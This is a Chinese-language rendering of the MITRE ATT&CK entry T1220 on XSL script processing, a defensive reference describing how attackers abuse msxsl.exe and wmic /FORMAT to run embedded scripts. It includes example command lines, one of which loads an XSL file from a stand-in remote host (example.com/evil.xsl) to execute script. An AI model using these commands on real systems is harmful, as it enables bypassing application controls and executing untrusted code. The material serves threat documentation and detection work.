T1220: XSL 脚本处理

Stealth

摘要

攻击者可能通过将脚本嵌入 XSL 文件来绕过应用程序控制并隐藏代码执行。可扩展样式表语言 (XSL) 文件常用于描述 XML 文件内数据的处理和呈现。为支持复杂操作,XSL 标准包含对各种语言嵌入式脚本的支持。(Citation: Microsoft XSLT Script Mar 2017) 攻击者可能滥用此功能在执行任意文件的同时可能绕过应用程序控制。与[受信任开发人员实用工具代理执行](https://attack.mitre.org/techniques/T1127)类似,可以安装 Microsoft 命令行转换实用工具二进制文件 (msxsl.exe) (Citation: Microsoft msxsl.exe) 并使用它执行嵌入在本地或远程(URL 引用)XSL 文件中的恶意 JavaScript。(Citation: Penetration Testing Lab MSXSL July 2017) 由于 msxsl.exe 默认未安装,攻击者可能需要将其与释放的文件打包在一起。(Citation: Reaqta MSXSL Spearphishing MAR 2018) Msxsl.exe 接受两个主要参数,一个 XML 源文件和一个 XSL 样式表。由于 XSL 文件是有效的 XML,攻击者可以两次调用同一个 XSL 文件。使用 msxsl.exe 时,攻击者还可以为 XML/XSL 文件赋予任意文件扩展名。(Citation: XSL Bypass Mar 2019) 命令行示例:(Citation: Penetration Testing Lab MSXSL July 2017)(Citation: XSL Bypass Mar 2019) * <code>msxsl.exe customers[.]xml script[.]xsl</code> * <code>msxsl.exe script[.]xsl script[.]xsl</code> * <code>msxsl.exe script[.]jpeg script[.]jpeg</code> 此技术的另一种变体被称为 “Squiblytwo”,涉及使用 [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) 调用 XSL 文件内的 JScript 或 VBScript。(Citation: LOLBAS Wmic) 此技术还可以执行本地/远程脚本,并且与其 [Regsvr32](https://attack.mitre.org/techniques/T1218/010)/ "Squiblydoo" 对应技术类似,利用了受信任的内置 Windows 工具。攻击者只要使用 /FORMAT 开关,就可以滥用 [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) 中的任何别名。(Citation: XSL Bypass Mar 2019) 命令行示例:(Citation: XSL Bypass Mar 2019)(Citation: LOLBAS Wmic) * 本地文件:<code>wmic process list /FORMAT:evil[.]xsl</code> * 远程文件:<code>wmic os get /FORMAT:”https[:]//example[.]com/evil[.]xsl”</code>

来源归属

来源:MITRE ATT&CK · 置信度:high

平台

  • Windows

战术

Stealth

参考来源